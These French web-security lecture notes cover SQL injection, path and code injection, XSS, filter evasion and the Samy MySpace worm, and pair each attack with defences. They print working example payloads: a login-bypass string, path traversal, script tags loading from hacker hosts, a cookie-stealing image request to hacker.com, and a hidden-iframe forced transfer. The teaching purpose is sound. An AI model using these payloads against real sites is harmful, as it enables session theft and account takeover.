Ne jamais se fier au client
Toutes les données en provenance du client :
- Entêtes HTTP,
- Paramètres de l’URL, query string
- Corps de la requête, données des formulaires,
- Cookies, Storage API,
peuvent contenir des valeurs non valides, pour plusieurs raisons :
- L’utilisateur a fait une erreur de saisie ;
- Le client n’utilise pas JavaScript ;
- Le client est un robot ;
- L’utilisateur est un hacker qui cible votre site.
Pour toutes ces raisons, le code du server doit toujours vérifier les données envoyées par le client.
J’insiste !
Vérifiez les données, même si…
- …vous utilisez des formulaires HTML5 ;
- …vos champs/données sont cachés ;
- …vous validez vos formulaire avec JavaScript ;
- …les données sont générées de façon programmatique (pas saisies par l’utilisateur) par le code client.
Faciles à contourner en lisant/éditant le source. Exemple:
Seules les données gérées entièrement par le server sont fiables :
- Variables locales, sessions, caches, fichiers, bases de données…
Ce que vous voyez, n’est pas ce que le hacker voit !
Notre modèle de sécurité
Nous allons supposer qu’un utilisateur malveillant veut s’attaquer à notre site. Nous allons faire des hypothèses sur ses moyens :
- Il peut faire uniquement des requêtes HTTP(S) au server, à travers un browser ou par d’autres moyens, et lire les réponses ;
- Il connaît le code source de l’application web (crédible pour une application open source) ;
- Il ne peut pas intercepter ou modifier une connexion entre un autre client et le server ;
Les buts du hacker peuvent être multiples : compromettre le server, voler des données, …
Injections SQL
Un premier exemple
Considérez le code suivant, qui vérifie la connexion d’un utilisateur.
$user = $req->request->get('user');
$pass = $req->request->get('pass');
$sql = "SELECT * FROM users
WHERE login='$user' AND password='$pass'";
if ($app['db']->fetchAssoc($sql)) {
// utilisateur connecté
}
L’utilisateur envoie les paramètres suivants dans le corps de la requête :
user=root
pass=' OR '1'='1
La chaîne $sql
vaudra alors
SELECT * FROM users
WHERE login='root' AND password='' OR '1'='1'
La condition est toujours vérifiée : le hacker est connecté en tant que root!
Que peut-on faire avec les injections SQL ?
- Escalade de droits (se faire passer pour root),
- Vol de données (lire la base),
- Compromission de la base de données (effacer/modifier les données).
Et voici une liste de attaques par injection SQL documentées.
Contrer les injections SQL
On connaît la solution : échapper les caractères spéciaux '
, "
, ;
- PHP :
mysqli::real_escape_string
, - PDO/Doctrine :
PDO::quote
,Doctrine::quote
, - Échappement automatique : requêtes préparées.
Exemple
$app['db']->fetchAssoc("SELECT * FROM users
WHERE login=? AND password=?",
array($user, $pass)
);
Résultat
SELECT * FROM users
WHERE login='root' AND password=''' OR ''1''=''1'
Autres types d’injection
Injection de chemin
N’écrivez jamais ce code :
$page = $req->query->get('page');
return $app['twig']->render($page);
Le hacker pourrait passer un chemin non prévu :
?page=../../config.php
et éventuellement lire les données privées du site. Encore pire :
$page = $req->query->get('page');
include($page);
Pourrait exécuter du code non sollicité.
Comment se protéger ?
Avoir une liste des chemins autorisés :
$pages = array(
'un_template.html',
'autre_template.html',
...);
if ($page in $pages) {
return $app['twig']->render($page);
} else {
return new Response(404);
}
Injection dynamique de code
Techniques permettant d’exécuter du code arbitraire sur le server.
-
La fonction
eval
exécute du code PHP contenu dans une chaîneeval($req->query->get('toto'));
-
La fonction
exec
exécute des programmes externesexec('ls -l ' . $req->query->get('dir'));
Contre-mesure : simplement à éviter !
Injections de HTML
Les injections dans la sortie HTML générée sont aussi appelées Cross-Site Scripting (XSS).
$user = $req->cookies->get('user');
return "
<body>
<h1>Bonjour, $user !</h1>
</body>";
Le hacker pourrait envoyer le cookie
user=<script src="http://hacker.org/attack.js"></script>
Ce qui générerait le code HTML suivant
<body>
<h1>Bonjour,
<script src="http://hacker.org/attack.js"></script> !</h1>
</body>
En général, ceci ne constitue pas une menace pour le server, mais pour l’utilisateur !
Se protéger de XSS
Échapper les caractères spéciaux : <
, >
, &
, "
, '
, …
- Avec la fonction
htmlspecialchars()
de PHP, - Avec la fonction
$app->escape()
de Silex, - Par l’échappement automatique de Twig, ou d’un autre moteur de templates (voir aussi Cours 4).
Résultat
<body>
<h1>Bonjour,
<script src="http://hacker.org/attack.js"?gt;</script> !</h1>
</body>
Attaques par XSS
Cross site scripting
On estime que 80% des failles de sécurité des application web sont des failles XSS.
Que peut-on faire avec XSS ?
- Changer l’apparence d’une page, la défigurer (recerchez Stallowned).
- Rédiriger et phisher.
- Vols des cookies et des données privées !
- Propager l’exploit XSS comme un ver.
- Controler le browser de la victime !!!
Les attaques XSS comportent trois acteurs : le client (la victime), le hacker et le server.
Elles nécessitent d’une part de social engineering.
Injections de code
Cross Site Scripting
Le Cross Site Scripting (XSS) est l’injection de code HTML/JavaScript dans la réponse envoyée au client.
Schema de base : Le server reflète les données du client sans filtrer
$search = $req->query->get('search');
return "<input type='text' name='search' value='$search' />";
Le hacker injecte le code dans la page web
http://www.example.com/?
search='><script src='http://hackers.com/evil.js'></script>
<br class='
Résultat
<input type='text' name='search' value=''>
<script src='http://hackers.com/evil.js'></script>
<br class='' />
La victime visite www.example.com
, mais le code JavaScript étranger
evil.js
s’exécute.
XSS permanent et reflété
XSS reflété : Le code est injecté quand le client visitele lien
- Query string
- Formulaires
- Résultats de recherche
From: "order-update@amazon.com" <order-update@amazon.com>
Subject: Amazon.com - Your Cancellation (175-2364376-728612)
<html><body>
Your order has been successfully canceled. For your reference,
here's a summary of your order:<br />
You just canceled order <a
href="http://www.amazon.com/?var=<script>injection()</script>">#175-2364376-728612</a>
placed on February 16, 2012. ...
XSS permanent : Le code est stocké sur le server (probablement, dans la BD)
- Billets de blog, forums, …
- Réseaux sociaux.
Palliatif : Cross-domain policy
À aucun moment un script d’un domaine (par ex.
www.hacker.com
) doit pouvoir accéder à partir d’un document au contenu d’un domaine diffèrent (par ex.www.example.com
).
La cross-domain policy est mise en place pour
- Cookies ;
- Requêtes AJAX ;
- Contenu de frames et iframes.
Exceptions (nécessaires)
- Images, audio, vidéos ;
- Scripts ;
- URL des frames et iframes.
Exemple : vol de cookies
Seul le domaine propriétaire devrait pouvoir lire ses propres cookies.
HTTP/1.1 200 OK
Set-Cookie: sessid=a10340f0e; Domain=www.mybank.com; Path=/; Secure;
Si le hacker peut injecter le code suivant
document.write("<img src='https://hacker.com/ck.php?"
+ document.cookie + "' />");
lorsque la victime visite la page ciblée, le hacker reçoit une requête pour
https://hacker.com/ck.php?sessid=a10340f0e
Ce qui lui révèle l’identifiant de session de la victime.
Pourquoi <img>
?
La balise <img>
est utilisé souvent pour envoyer des données de la
victime à l’attaquant :
<img src='https://hacker.com/ck.php?sessid=a10340f0e' />
- Presque tous les browsers savent la gérer,
- Connexion silencieuse (pas d’interaction utilisateur, pas de confirmation),
- Rarement filtrée.
Autre possibilité : <iframe>
<iframe>
permet d’inclure une page dans une autre
<iframe src="http://en.wikipedia.org/wiki/Framing_(World_Wide_Web)"></iframe>
JavaScript peut contrôler le comportement de l’iframe :
window.frames.hf.location.href =
'http://www.w3schools.com/tags/tag_iframe.asp';
Les <iframes>
invisibles peuvent être utilisés pour :
- Faire des requêtes HTTP sans que l’utilisateur s’en aperçoive ;
- Étendre une faille XSS dans une page au site tout entier ;
- Traverser des frontières de domaine.
Un exemple avec <iframe>
- Le hacker injecte le script dans une page vulnérable
http://www.example.com/vulnerable?
lang=en"></script src="http://hacker.com/evil.js"></script>
- Le script ajoute un
<iframe>
caché au document
document.write(
'<iframe name="hf" style="display:none"></iframe>');
- Après quelques seconde, le script génère une requête à une page sécurisée
function req() {
window.frames.hf.location.href=
'http://www.example.com/transfer?to=hacker&amount=10000';
}
setTimeout(req, 5000);
- La réponse à
transfer
est envoyée au frame, l’utilisateur ne s’est aperçu de rien.
Comment se protéger
HTML Entities: échapper, échapper, échapper !
<script>alert("XSS");</script>
<script>alert("XSS");</script>
Filtrer (par ex., avec les templates)
<p>Hi, !</p>
Mieux vaut une whitelists qu’une blacklists
Le code JavaScript peut être inséré dans HTML, CSS, SVG, … S’il est nécessaire d’autoriser l’utilisateur à insérer des balises dans le document, permettez seulement
- Des balises sûres :
<img>
,<div>
,<p>
, … - Des attributs sûrs :
src
,href
,id
,class
, …
Utilisez des bibliothèques de sanitization
Contourner les protections
Utiliser des encodages différents
Exemple de URL encoding
// <script>alert("XSS");</script>
%3Cscript%3Ealert%28%22XSS%22%29;%3C%2Fscript%3E
Avec les codes ASCII (par ex., 34 est "
)
document.write('href=' + String.fromCharCode(34) +
'http://hacker.com/' + String.fromCharCode(34));
Casser les mots clefs filtrés
En supposant que onload
soit blacklisté :
var stmt = "window.onl" + "ad = myfunc";
eval(stmt);
Exploiter les bugs des browsers (surtout IE)
Étude de cas : le worm Samy
Vers XSS : Samy
- Le 11 avril 2005 à 1h un ver basé sur une injection XSS commence à se répandre sur MySpace.
- En moins de 24h, plus d’un million de profiles sont infectés.
- MySpace est contraint à fermer le site pendant plusieurs heures pour extirper le ver.
Comment marche Samy
- MySpace permets une personnalisation limitée de la page de profile. Samy découvre qu’il peut inclure du JavaScript dans cette page.
- Un utilisateur visite un profil infecté, le JavaScript malicieux s’exécute dans le browser de l’utilisateur.
- Le JavaScript malicieux envoi une demande d’amitié à Samy, puis ajoute Samy aux héros de l’utilisateur.
- Enfin, le JavaScript malicieux se copie dans le profil de l’utilisateur. L’infection peut grandir de façon exponentielle !
Lire l’histoire complète à http://fast.info/myspace/.
Comment a-t-il fait ?
Injection des scripts
- MySpace bloque
</script>
,onxxx
, … - Mais certains browsers acceptent du JavaScript dans les attributs CSS.
<div style="background:url('javascript:alert(1)')">
Imbriquer les guillemets quotes (à mon avis, l’astuce la plus jolie)
- L’astuce précédente a déjà utilisé un guillemet simple
'
et un double"
. - Samy doit encoder des chaînes en JavaScript, mais MySpace filtre
\'
et\"
. - Par exemple, Samy ne peut pas écrire :
<div style="background:url('javascript:alert("hah!")')">
<div style="background:url('javascript:alert('hah!')')">
<div style="background:url('javascript:alert(\'hah!\')')">
- Idée : mettre le source JavaScript dans un autre attribut (utilise
document.all
, spécifique à IE).
<div id="mycode" expr="alert('hah!')" style=
"background:url('javascript:eval(document.all.mycode.expr)')">
Déclarer le code JavaScript
- MySpace filtre le mot “javascript”.
- Samy exploite une “feature” de IE.
<div ... style="background:url('java
script:eval(...)')">
Un peu de encodage et de césures par ci et par là
console.log('double quote: ' + String.fromCharCode(34));
eval('document.body.inne' + 'rHTML');
eval('xmlhttp.onread' + 'ystatechange = callback');
GET and POST
- Samy doit générer des requêtes (amitié, modification de profil, …)
- Il aurait probablement pu utiliser les iframes, mais il a trouvé plus simple de générer des requêtes AJAX.
Redirection
- Maintenant Samy est confronté à un mur cross-domain (entre
profile.myspace.com
etwww.myspace.com
). - Il rédirige l’utilisateur vers
www.myspace.com
.
if (location.hostname == 'profile.myspace.com')
document.location = 'http://www.myspace.com' +
location.pathname + location.search;
Jetons cachés
- MySpace demande une confirmation avant d’ajouter un ami : il utilise
un
<input>
caché avec une valeur aléatoire. (Il s’agit d’une protection CSRF). - Avec XSS, il est simple de contourner les protections CSRF : Samy fait quelques requêtes GET et POST en plus pour simuler l’interaction avec l’utilisateur.
LE code: http://fast.info/myspace/
Frameworks d’injection
Contrôler le browser de la victime à distance !
- Obtenier de l’information sur les victimes ;
- Accéder au stockage locale ;
- Déclencher des actions ;
- Canaliser la navigation HTTP !!!
Combinent les attaques XSS avec les vulnérabilités des browsers (plus efficaces sur les vieux browsers)
- XSS Framework: http://code.google.com/p/xssf/;
- Browser Exploitation Framework: http://beefproject.com/.
Le mot de la fin
Pourquoi XSS existe-t-il ?
- Une confusion entre données et logique ;
- Une priorité donnée à la facilité de programmation plutôt qu’à la sécurité par les acteurs majeurs.
XSS ne va pas disparaître bientôt…
Règle 1 : Sanitisez vos données !
Règle 2: Analysez les flux de données, concevez modulairement.
Règle 3: Utilisez des frameworks web.
Règle 3: (Si vous êtes un professionnel) Utilisez des outils de penetration testing.
Lectures
- OWASP foundation wiki https://www.owasp.org
- OWASP WebScarab HTTP proxy;
- Burp Scanner penetration testing;
- OWASP WebGoat security training platform.